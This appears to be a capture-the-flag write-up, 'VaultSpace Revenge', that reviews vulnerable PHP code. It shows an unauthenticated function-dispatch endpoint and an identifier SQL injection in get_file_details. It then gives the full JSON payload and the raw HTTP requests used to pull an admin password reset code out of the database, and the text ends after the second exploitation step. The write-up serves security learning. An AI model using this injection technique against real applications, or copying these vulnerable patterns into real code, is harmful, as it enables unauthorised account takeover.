VaultSpace Revenge

Code Review

api_handler.php

What it does: It accepts POST requests. If the body is JSON, it reads action and params. Then it calls a function named by action (with params as arguments) and returns the result as JSON.

// api_handler.php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $contentType = $_SERVER['CONTENT_TYPE'] ?? '';
    if (strpos($contentType, 'application/json') !== false) {
        $input  = json_decode(file_get_contents('php://input'), true);
        $action = $input['action'] ?? '';
        $params = $input['params'] ?? [];
    } else {
        $action = $_POST['action'] ?? '';
        $params = $_POST['params'] ?? [];
    }

    $result = safe_call_function($action, $params);
    echo json_encode(['status' => 'success', 'data' => $result]);
}

Why it’s vulnerable: There’s no authentication or authorization here. If I know the name of an internal helper function that matches the expected pattern, I can execute it as an unauthenticated user and get its return value back as JSON. That turns this endpoint into a capabilities vending machine.

functions.php

safe_call_function()

What it does: It only allows functions whose names start with get_, check_, or set_, verifies they exist, then calls them.

// functions.php
function safe_call_function($function_name, $params = []) {
    if (!preg_match('/^(get_|check_|set_)[a-zA-Z0-9_]+$/', $function_name)) {
        throw new Exception("Invalid function name format.");
    }
    if (!function_exists($function_name)) {
        throw new Exception("Function '$function_name' does not exist.");
    }
    return call_user_func_array($function_name, $params);
}

Why it’s vulnerable: The regex stops you from calling random PHP built-ins like system, sure. But it doesn’t check who is calling what. Any exported helper that matches the naming rule becomes public. That’s not access control; it’s just a naming convention. In other words, once /api_handler.php is reachable, every “get_/check_/set_*” function is effectively public.

get_file_details()

What it does: Looks up a record by file_name from a caller-supplied “table name”, returns the first column of the row.

// functions.php
function get_file_details($tablename, $file_name) {
    global $pdo;
    $stmt = $pdo->prepare("SELECT * FROM $tablename WHERE file_name = ? LIMIT 1");
    $stmt->bindParam(1, $file_name);
    $stmt->execute();
    $data = $stmt->fetch(PDO::FETCH_ASSOC);
    return $data[0];
}

Identifier injection: Values can be bound with ?, but identifiers (table/column names) cannot. Here, $tablename is concatenated directly into SQL. That lets an attacker pass a crafted subquery instead of a plain table name. Example shape we used:

FROM (SELECT 'a' AS file_name,
             (SELECT code FROM users WHERE username='admin') AS `0`) t

This creates a fake “table” with a column that contains the admin’s reset code.

“Magic index” return:

The function returns $data[0]. With PDO::FETCH_ASSOC, $data is associative (by column names). But in PHP, if a key is the string "0", $data[0] will happily return it. So if we alias a column as `0`, the function will return whatever value we pack into that column. That’s why the subquery above names the secret column `0`.

Building the payload

What the API expects

The vulnerable helper is effectively:

get_file_details($tablename, $file_name)

Inside, it runs:

SELECT * FROM <tablename> WHERE file_name = ? LIMIT 1

and returns the first column of the returned row (via $data[0]

So if you pass:

  • tablename = uploads

  • file_name = "logo.png"

it would select from the real table uploads and return a field from that row.

Our Trick

SQL lets you use a derived table (a subquery that pretends to be a table):

(SELECT 'a' AS file_name,
        (SELECT code FROM users WHERE username='admin') AS `0`) t
  • It creates a pretend table t with one row and two columns:

    • file_name = 'a' (just a constant string)

    • `0` = the admin’s reset code (selected from the real users table)

So our “table” looks like this in memory:

file_name

0

a

<admin_reset_code>

We chose file_name = 'a' so it will match the WHERE file_name = ? filter.

Why alias the secret column as `0`?

Because the PHP code returns $data[0].

When PDO fetches rows as an associative array, it looks like:

$row = [
  'file_name' => 'a',
  '0'         => '<admin_reset_code>'
];

In PHP, $row[0] will return the value of the '0' key. So by naming the secret column `0`, we guarantee the function returns exactly the secret.

Final payload

{
  "action": "get_file_details",
  "params": [
    "(SELECT 'a' AS file_name, (SELECT code FROM users WHERE username='admin') AS `0`) t",
    "a"
  ]
}
  • params[0] → becomes <tablename> in the SQL. We supply our fake table.

  • params[1] → becomes the ? value for file_name. We pass "a" to match the row.

The database executes:

SELECT * 
FROM (SELECT 'a' AS file_name,
             (SELECT code FROM users WHERE username='admin') AS `0`) t
WHERE file_name = 'a'
LIMIT 1;

The row comes back as {'file_name': 'a', '0': '<code>'} → the PHP returns $row[0]<code>.

Exploitation steps

Step 1 — request a reset code for admin

We don’t need email. We just need the server to generate a valid, fresh code for the admin account and put $_SESSION['reset_user'] = 'admin' into our session so /reset.php it will accept us as the one performing the reset.

POST /forgot_password.php
Host: 95.217.6.37:20007
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<cookie>

username=admin

Keep the same PHPSESSID for the whole flow. The reset page checks your session to confirm you initiated the reset.

Step 2 — Read the secret code back out via the router

We’ll call get_file_details through the unauthenticated router and turn the table name into a derived table that manufactures two columns:

  • 'a' AS file_name (so the WHERE file_name = ? binds cleanly), and

  • (SELECT code FROM users WHERE username='admin') AS \0`` (our secret, aliased as backtick-zero).

POST /api_handler.php
Host: 95.217.6.37:20007
Content-Type: application/json
Cookie: PHPSESSID=<cookie>

{
  "action": "get_file_details",
  "params": [
    "(SELECT 'a' AS file_name, (SELECT code FROM users WHERE username='admin') AS `0`) t",
    "a"
  ]
}

What the SQL becomes:

SELECT * 
FROM (SELECT 'a' AS file_name,
             (SELECT code FROM users WHERE username='admin') AS `0`) t
WHERE file_name = ? LIMIT 1;
-- bound value: "a"

What the PHP returns: $row[0] → the value of column `0`the admin’s reset code. The API wraps it as JSON.

Last updated

Was this helpful?